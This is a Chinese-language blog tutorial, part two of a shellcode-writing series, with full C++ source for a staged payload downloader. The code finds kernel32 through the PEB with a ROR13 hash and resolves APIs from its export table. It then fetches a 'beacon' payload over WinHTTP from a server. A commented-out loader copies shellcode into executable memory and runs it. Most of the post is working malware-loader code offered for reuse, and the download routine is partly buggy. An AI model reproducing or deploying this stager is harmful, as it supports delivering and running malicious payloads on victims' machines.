[2022]填鸭式shellcode编写教程 (二) payload下载 huoji shellcode 2022-09-07 538 次浏览 0 次点赞 上一章后,我们实现了初步的shellcode,但是距离实现我们的功能还有一段时间. 本章将会介绍关键的payload下载.准备好加载我们的主要功能 首先需要准备一个http服务器,我这边偷懒使用hfs了. ### winhttp 为了下载payload,我这边使用winhttp先下载到内存中. winhttp下载需要分几步 1.初始化 2.获取大小 3.下载 我们一步一步来看 ### 初始化 winhttp的比较奇怪,会有两个结构体,一个是存放内容的结构体,一个是给函数传参的结构体.存放内容的结构体是栈内存,所以要小一点不至于爆栈(虽然不太可能就是了) _URL_INFO是我们自己定义的结构体 而URL_COMPONENTSW是真正要用到的结构体.但是内容会放到我们自己定义的结构体上 ```cpp typedef struct _URL_INFO { WCHAR szScheme[36]; WCHAR szHostName[36]; WCHAR szUserName[36]; WCHAR szPassword[36]; WCHAR szUrlPath[36]; WCHAR szExtraInfo[36]; }URL_INFO, * PURL_INFO; _URL_INFO url = { 0 }; URL_COMPONENTSW lpUrlComponents = { 0 }; lpUrlComponents.dwStructSize = sizeof(lpUrlComponents); lpUrlComponents.lpszExtraInfo = url.szExtraInfo; lpUrlComponents.lpszHostName = url.szHostName; lpUrlComponents.lpszPassword = url.szPassword; lpUrlComponents.lpszScheme = url.szScheme; lpUrlComponents.lpszUrlPath = url.szUrlPath; lpUrlComponents.lpszUserName = url.szUserName; lpUrlComponents.dwExtraInfoLength = lpUrlComponents.dwHostNameLength = lpUrlComponents.dwPasswordLength = lpUrlComponents.dwSchemeLength = lpUrlComponents.dwUrlPathLength = lpUrlComponents.dwUserNameLength = 36; ``` 在这里,假设后续的beacon的路径是http://127.0.0.1/duck ```cpp typedef HMODULE(WINAPI* WinHttpCrackUrlT)(_In_reads_(dwUrlLength) LPCWSTR pwszUrl, _In_ DWORD dwUrlLength, _In_ DWORD dwFlags, _Inout_ LPURL_COMPONENTS lpUrlComponents); typedef HINTERNET(WINAPI* WinHttpOpenT)(_In_opt_z_ LPCWSTR pszAgentW, _In_ DWORD dwAccessType, _In_opt_z_ LPCWSTR pszProxyW, _In_opt_z_ LPCWSTR pszProxyBypassW, _In_ DWORD dwFlags); typedef HINTERNET(WINAPI* WinHttpConnectT)( IN HINTERNET hSession, IN LPCWSTR pswzServerName, IN INTERNET_PORT nServerPort, IN DWORD dwReserved); typedef HINTERNET(WINAPI* WinHttpOpenRequestT)( IN HINTERNET hConnect, IN LPCWSTR pwszVerb, IN LPCWSTR pwszObjectName, IN LPCWSTR pwszVersion, IN LPCWSTR pwszReferrer OPTIONAL, IN LPCWSTR FAR* ppwszAcceptTypes OPTIONAL, IN DWORD dwFlags); typedef BOOL(WINAPI* WinHttpSendRequestT)( IN HINTERNET hRequest, _In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders, IN DWORD dwHeadersLength, _In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional, IN DWORD dwOptionalLength, IN DWORD dwTotalLength, IN DWORD_PTR dwContext); typedef BOOL(WINAPI* WinHttpReceiveResponseT)( IN HINTERNET hRequest, IN LPVOID lpReserved); typedef BOOL(WINAPI* WinHttpQueryHeadersT)( IN HINTERNET hRequest, IN DWORD dwInfoLevel, IN LPCWSTR pwszName OPTIONAL, _Out_writes_bytes_to_opt_(*lpdwBufferLength, *lpdwBufferLength) __out_data_source(NETWORK) LPVOID lpBuffer, IN OUT LPDWORD lpdwBufferLength, IN OUT LPDWORD lpdwIndex OPTIONAL); typedef BOOL(WINAPI* WinHttpCloseHandleT)( IN HINTERNET hInternet); constexpr char strWinHttpCrackUrl[] = "WinHttpCrackUrl"; constexpr char strWinHttpOpen[] = "WinHttpOpen"; constexpr char strWinHttpConnect[] = "WinHttpConnect"; constexpr char strWinHttpOpenRequest[] = "WinHttpOpenRequest"; constexpr char strWinHttpSendRequest[] = "WinHttpSendRequest"; constexpr char strWinHttpReceiveResponse[] = "WinHttpReceiveResponse"; constexpr char strWinHttpQueryHeaders[] = "WinHttpQueryHeaders"; constexpr char strWinHttpCloseHandle[] = "WinHttpCloseHandle"; constexpr char strWinhttp[] = "Winhttp.dll"; constexpr wchar_t strUrl[] = L"http://127.0.0.1/duck"; constexpr wchar_t strHead[] = L"HEAD"; constexpr wchar_t strHTTP[] = L"HTTP/1.1"; constexpr wchar_t strGet[] = L"GET"; ``` 跟之前一样,用工业化时代的产物定位到这些需要的api ```cpp WinHttpCrackUrlT fnWinHttpCrackUrl = (WinHttpCrackUrlT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCrackUrl); WinHttpOpenT fnWinHttpOpen = (WinHttpOpenT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpen); WinHttpConnectT fnWinHttpConnect = (WinHttpConnectT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpConnect); WinHttpOpenRequestT fnWinHttpOpenRequest = (WinHttpOpenRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpenRequest); WinHttpSendRequestT fnWinHttpSendRequest = (WinHttpSendRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpSendRequest); WinHttpReceiveResponseT fnWinHttpReceiveResponse = (WinHttpReceiveResponseT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReceiveResponse); WinHttpQueryHeadersT fnWinHttpQueryHeaders = (WinHttpQueryHeadersT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpQueryHeaders); WinHttpCloseHandleT fnWinHttpCloseHandle = (WinHttpCloseHandleT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCloseHandle); ``` ### 创建会话 创建会话时候要注意如下几点: 1. fnWinHttpCrackUrl这个API的最后一个参数是输出,是系统的结构,不是自己定义的结构!!!! 2. fnWinHttpOpen可以有两个选项,一个是WINHTTP_ACCESS_TYPE_NO_PROXY代表不走代理,另外一个是走代理,走代理的话可以先设置前置代理再做,这个算home work 3. lpUrlComponents的URL上限被之前定义了,是32字节,超过会溢出,可以自己调整.但是不要太大,会爆栈 以下是代码: ```cpp // 创建一个会话 fnWinHttpCrackUrl(strUrl, 0, ICU_ESCAPE, &lpUrlComponents); HINTERNET hSession = fnWinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0); DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0; ``` ### 第一次请求,获取下载大小 需要先获取以下下载的文件大小,这样才能分配好内存,这是代码: ```cpp // 创建一个连接 HINTERNET hConnect = fnWinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0); // 创建一个请求,先查询内容的大小 HINTERNET hRequest = fnWinHttpOpenRequest(hConnect, strHead, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); fnWinHttpReceiveResponse(hRequest, 0); fnWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex); fnWinHttpCloseHandle(hRequest); ``` #### 获取数据 // 创建一个请求,获取数据 ```cpp hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); fnWinHttpReceiveResponse(hRequest, 0); fnWinHttpCloseHandle(hRequest); fnWinHttpCloseHandle(hConnect); fnWinHttpCloseHandle(hSession); ``` 此时,dwContentSize是payload的大小,最后调用WinHttpReadData即可完成一次文件下载 ```cpp pBuffer = fnMalloc(dwContentSize); ZeroMemory(pBuffer, dwContentSize); //完成下载 WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes); ``` ### 测试 运行程序,如果完整不误的话,你的HFS会看到如下结果 ![](https://key08.com/usr/uploads/2022/09/3211826103.png) 下一小节我们将会介绍如何下载一个真正可执行的payload ### 完整代码 ```cpp // 韭菜之家_day2.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 #include #include #include #define DEREF( name )*(UINT_PTR *)(name) #define DEREF_64( name )*(unsigned __int64 *)(name) #define DEREF_32( name )*(unsigned long *)(name) #define DEREF_16( name )*(unsigned short *)(name) #define DEREF_8( name )*(UCHAR *)(name) typedef struct _UNICODE_STR { USHORT Length; USHORT MaximumLength; PWSTR pBuffer; } UNICODE_STR, * PUNICODE_STR; // WinDbg> dt -v ntdll!_PEB_LDR_DATA typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes { DWORD dwLength; DWORD dwInitialized; LPVOID lpSsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; LPVOID lpEntryInProgress; } PEB_LDR_DATA, * PPEB_LDR_DATA; // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes { struct _PEB_FREE_BLOCK* pNext; DWORD dwSize; } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; // struct _PEB is defined in Winternl.h but it is incomplete // WinDbg> dt -v ntdll!_PEB typedef struct __PEB // 65 elements, 0x210 bytes { BYTE bInheritedAddressSpace; BYTE bReadImageFileExecOptions; BYTE bBeingDebugged; BYTE bSpareBool; LPVOID lpMutant; LPVOID lpImageBaseAddress; PPEB_LDR_DATA pLdr; LPVOID lpProcessParameters; LPVOID lpSubSystemData; LPVOID lpProcessHeap; PRTL_CRITICAL_SECTION pFastPebLock; LPVOID lpFastPebLockRoutine; LPVOID lpFastPebUnlockRoutine; DWORD dwEnvironmentUpdateCount; LPVOID lpKernelCallbackTable; DWORD dwSystemReserved; DWORD dwAtlThunkSListPtr32; PPEB_FREE_BLOCK pFreeList; DWORD dwTlsExpansionCounter; LPVOID lpTlsBitmap; DWORD dwTlsBitmapBits[2]; LPVOID lpReadOnlySharedMemoryBase; LPVOID lpReadOnlySharedMemoryHeap; LPVOID lpReadOnlyStaticServerData; LPVOID lpAnsiCodePageData; LPVOID lpOemCodePageData; LPVOID lpUnicodeCaseTableData; DWORD dwNumberOfProcessors; DWORD dwNtGlobalFlag; LARGE_INTEGER liCriticalSectionTimeout; DWORD dwHeapSegmentReserve; DWORD dwHeapSegmentCommit; DWORD dwHeapDeCommitTotalFreeThreshold; DWORD dwHeapDeCommitFreeBlockThreshold; DWORD dwNumberOfHeaps; DWORD dwMaximumNumberOfHeaps; LPVOID lpProcessHeaps; LPVOID lpGdiSharedHandleTable; LPVOID lpProcessStarterHelper; DWORD dwGdiDCAttributeList; LPVOID lpLoaderLock; DWORD dwOSMajorVersion; DWORD dwOSMinorVersion; WORD wOSBuildNumber; WORD wOSCSDVersion; DWORD dwOSPlatformId; DWORD dwImageSubsystem; DWORD dwImageSubsystemMajorVersion; DWORD dwImageSubsystemMinorVersion; DWORD dwImageProcessAffinityMask; DWORD dwGdiHandleBuffer[34]; LPVOID lpPostProcessInitRoutine; LPVOID lpTlsExpansionBitmap; DWORD dwTlsExpansionBitmapBits[32]; DWORD dwSessionId; ULARGE_INTEGER liAppCompatFlags; ULARGE_INTEGER liAppCompatFlagsUser; LPVOID lppShimData; LPVOID lpAppCompatInfo; UNICODE_STR usCSDVersion; LPVOID lpActivationContextData; LPVOID lpProcessAssemblyStorageMap; LPVOID lpSystemDefaultActivationContextData; LPVOID lpSystemAssemblyStorageMap; DWORD dwMinimumStackCommit; } _PEB; typedef struct _LDR_DATA_TABLE_ENTRY { //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STR FullDllName; UNICODE_STR BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; #pragma comment(lib,"Winhttp.lib") void shellcode_start() { //代码不用理解,可以直接复制粘贴. //0.读取fs,找到peb uint64_t base_address = 0; __asm { mov eax, fs: [30h] mov dword ptr[base_address], eax } unsigned short m_counter; uint64_t ldr_table; uint64_t dll_name; uint64_t hash_name; uint64_t kenrle32_base = 0; base_address = (uint64_t)((_PEB*)base_address)->pLdr; ldr_table = (uint64_t)((PPEB_LDR_DATA)base_address)->InMemoryOrderModuleList.Flink; //1. 通过peb里面的LDR找到kernel32的地址 while (ldr_table) { dll_name = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.pBuffer; m_counter = ((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.Length; hash_name = 0; do { hash_name = _rotr((unsigned long)hash_name, 13); if (*((unsigned char*)dll_name) >= 'a') hash_name += *((unsigned char*)dll_name) - 0x20; else hash_name += *((unsigned char*)dll_name); dll_name++; } while (--m_counter); //hash name其实是基于dll_name的因为我们也不想取到其他的莫名其妙的东西,做个简单地hash会准确很多 //如果你不想用hashname,那么你可以printf("%wZ",dll_name);观察一下dll name自己想一下新的思路 if ((unsigned long)hash_name == 0x6A4ABC5B) { //这就是kernel.dll的地址了 kenrle32_base = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->DllBase; break; } ldr_table = DEREF(ldr_table); if (kenrle32_base != 0) { //找到了退出 break; } } if (kenrle32_base == 0) { __debugbreak(); } typedef HMODULE(WINAPI* GetProcAddressT)(_In_ HMODULE hModule, char* lpProcName); typedef HMODULE(WINAPI* LoadLibraryAT)(_In_ LPCSTR lpLibFileName); GetProcAddressT fnGetProcAddress = NULL; LoadLibraryAT fnLoadlibrary = NULL; //别在意这边的大小写驼峰混乱,因为是两套代码拼接的,懒得改了.... UINT_PTR uiAddressArray = NULL; UINT_PTR uiNameArray = NULL; UINT_PTR uiNameOrdinals = NULL; PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL; PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL; PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; // 解析PE头 pNtHeaders32 = (PIMAGE_NT_HEADERS32)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew); pNtHeaders64 = (PIMAGE_NT_HEADERS64)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew); // 拿到导出表 pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; // 遍历导出表 pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(kenrle32_base + pDataDirectory->VirtualAddress); uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions); uiNameArray = (kenrle32_base + pExportDirectory->AddressOfNames); uiNameOrdinals = (kenrle32_base + pExportDirectory->AddressOfNameOrdinals); unsigned long dwCounter = pExportDirectory->NumberOfNames; char str1[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '\0' }; char str2[] = { 'L','o','a','d','L','i','b','r','a','r','y','A','\0' }; while (dwCounter--) { char* cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray)); char* matchPtr = &str1[0]; int ret = 0; while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName) { cpExportedFunctionName++; matchPtr++; } if (ret == 0) { uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long)); fnGetProcAddress = (GetProcAddressT)(kenrle32_base + DEREF_32(uiAddressArray)); } else { cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray)); char* matchPtr = &str2[0]; ret = 0; while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName) { cpExportedFunctionName++; matchPtr++; } if (ret == 0) { uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions); uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long)); fnLoadlibrary = (LoadLibraryAT)(kenrle32_base + DEREF_32(uiAddressArray)); } } if (fnLoadlibrary && fnGetProcAddress) { break; } uiNameArray += sizeof(unsigned long); uiNameOrdinals += sizeof(unsigned short); } if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) { __debugbreak(); } typedef struct _URL_INFO { WCHAR szScheme[36]; WCHAR szHostName[36]; WCHAR szUserName[36]; WCHAR szPassword[36]; WCHAR szUrlPath[36]; WCHAR szExtraInfo[36]; }URL_INFO, * PURL_INFO; _URL_INFO url; URL_COMPONENTSW lpUrlComponents; lpUrlComponents.dwStructSize = sizeof(lpUrlComponents); lpUrlComponents.lpszExtraInfo = url.szExtraInfo; lpUrlComponents.lpszHostName = url.szHostName; lpUrlComponents.lpszPassword = url.szPassword; lpUrlComponents.lpszScheme = url.szScheme; lpUrlComponents.lpszUrlPath = url.szUrlPath; lpUrlComponents.lpszUserName = url.szUserName; lpUrlComponents.dwExtraInfoLength = lpUrlComponents.dwHostNameLength = lpUrlComponents.dwPasswordLength = lpUrlComponents.dwSchemeLength = lpUrlComponents.dwUrlPathLength = lpUrlComponents.dwUserNameLength = 36; typedef HMODULE(WINAPI* WinHttpCrackUrlT)(_In_reads_(dwUrlLength) LPCWSTR pwszUrl, _In_ DWORD dwUrlLength, _In_ DWORD dwFlags, _Inout_ LPURL_COMPONENTS lpUrlComponents); typedef HINTERNET(WINAPI* WinHttpOpenT)(_In_opt_z_ LPCWSTR pszAgentW, _In_ DWORD dwAccessType, _In_opt_z_ LPCWSTR pszProxyW, _In_opt_z_ LPCWSTR pszProxyBypassW, _In_ DWORD dwFlags); typedef HINTERNET(WINAPI* WinHttpConnectT)( IN HINTERNET hSession, IN LPCWSTR pswzServerName, IN INTERNET_PORT nServerPort, IN DWORD dwReserved); typedef HINTERNET(WINAPI* WinHttpOpenRequestT)( IN HINTERNET hConnect, IN LPCWSTR pwszVerb, IN LPCWSTR pwszObjectName, IN LPCWSTR pwszVersion, IN LPCWSTR pwszReferrer OPTIONAL, IN LPCWSTR FAR* ppwszAcceptTypes OPTIONAL, IN DWORD dwFlags); typedef BOOL(WINAPI* WinHttpSendRequestT)( IN HINTERNET hRequest, _In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders, IN DWORD dwHeadersLength, _In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional, IN DWORD dwOptionalLength, IN DWORD dwTotalLength, IN DWORD_PTR dwContext); typedef BOOL(WINAPI* WinHttpReceiveResponseT)( IN HINTERNET hRequest, IN LPVOID lpReserved); typedef BOOL(WINAPI* WinHttpQueryHeadersT)( IN HINTERNET hRequest, IN DWORD dwInfoLevel, IN LPCWSTR pwszName OPTIONAL, _Out_writes_bytes_to_opt_(*lpdwBufferLength, *lpdwBufferLength) __out_data_source(NETWORK) LPVOID lpBuffer, IN OUT LPDWORD lpdwBufferLength, IN OUT LPDWORD lpdwIndex OPTIONAL); typedef BOOL(WINAPI* WinHttpCloseHandleT)( IN HINTERNET hInternet); constexpr char strWinHttpCrackUrl[] = "WinHttpCrackUrl"; constexpr char strWinHttpOpen[] = "WinHttpOpen"; constexpr char strWinHttpConnect[] = "WinHttpConnect"; constexpr char strWinHttpOpenRequest[] = "WinHttpOpenRequest"; constexpr char strWinHttpSendRequest[] = "WinHttpSendRequest"; constexpr char strWinHttpReceiveResponse[] = "WinHttpReceiveResponse"; constexpr char strWinHttpQueryHeaders[] = "WinHttpQueryHeaders"; constexpr char strWinHttpCloseHandle[] = "WinHttpCloseHandle"; constexpr char strWinhttp[] = "Winhttp.dll"; constexpr wchar_t strUrl[] = L"http://127.0.0.1/duck"; constexpr wchar_t strHead[] = L"HEAD"; constexpr wchar_t strHTTP[] = L"HTTP/1.1"; constexpr wchar_t strGet[] = L"GET"; WinHttpCrackUrlT fnWinHttpCrackUrl = (WinHttpCrackUrlT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCrackUrl); WinHttpOpenT fnWinHttpOpen = (WinHttpOpenT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpen); WinHttpConnectT fnWinHttpConnect = (WinHttpConnectT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpConnect); WinHttpOpenRequestT fnWinHttpOpenRequest = (WinHttpOpenRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpenRequest); WinHttpSendRequestT fnWinHttpSendRequest = (WinHttpSendRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpSendRequest); WinHttpReceiveResponseT fnWinHttpReceiveResponse = (WinHttpReceiveResponseT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReceiveResponse); WinHttpQueryHeadersT fnWinHttpQueryHeaders = (WinHttpQueryHeadersT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpQueryHeaders); WinHttpCloseHandleT fnWinHttpCloseHandle = (WinHttpCloseHandleT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCloseHandle); // 创建一个会话 fnWinHttpCrackUrl(strUrl, 0, ICU_ESCAPE, &lpUrlComponents); HINTERNET hSession = fnWinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0); DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0; // 创建一个连接 HINTERNET hConnect = fnWinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0); // 创建一个请求,先查询内容的大小 HINTERNET hRequest = fnWinHttpOpenRequest(hConnect, strHead, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); fnWinHttpReceiveResponse(hRequest, 0); fnWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex); fnWinHttpCloseHandle(hRequest); // 创建一个请求,获取数据 hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); fnWinHttpReceiveResponse(hRequest, 0); fnWinHttpCloseHandle(hRequest); fnWinHttpCloseHandle(hConnect); fnWinHttpCloseHandle(hSession); __debugbreak(); } void shellcode_end() { __debugbreak(); } int main() { /* const auto start_address = (uint32_t)shellcode_start; const auto shellcode_size = (uint32_t)shellcode_end - (uint32_t)start_address; for (size_t i = 0; i < shellcode_size; i++) { auto sig_code = ((unsigned char*)start_address)[i]; printf(",0x%02X", sig_code); } char shellcode[] = { ... }; PVOID p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(p, shellcode, sizeof(shellcode)); typedef void(__stdcall* door_code) (); door_code run_shellcode = (door_code)p; run_shellcode(); */ system("pause"); } ``` 本文由 huoji 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。 点赞 0
还不快抢沙发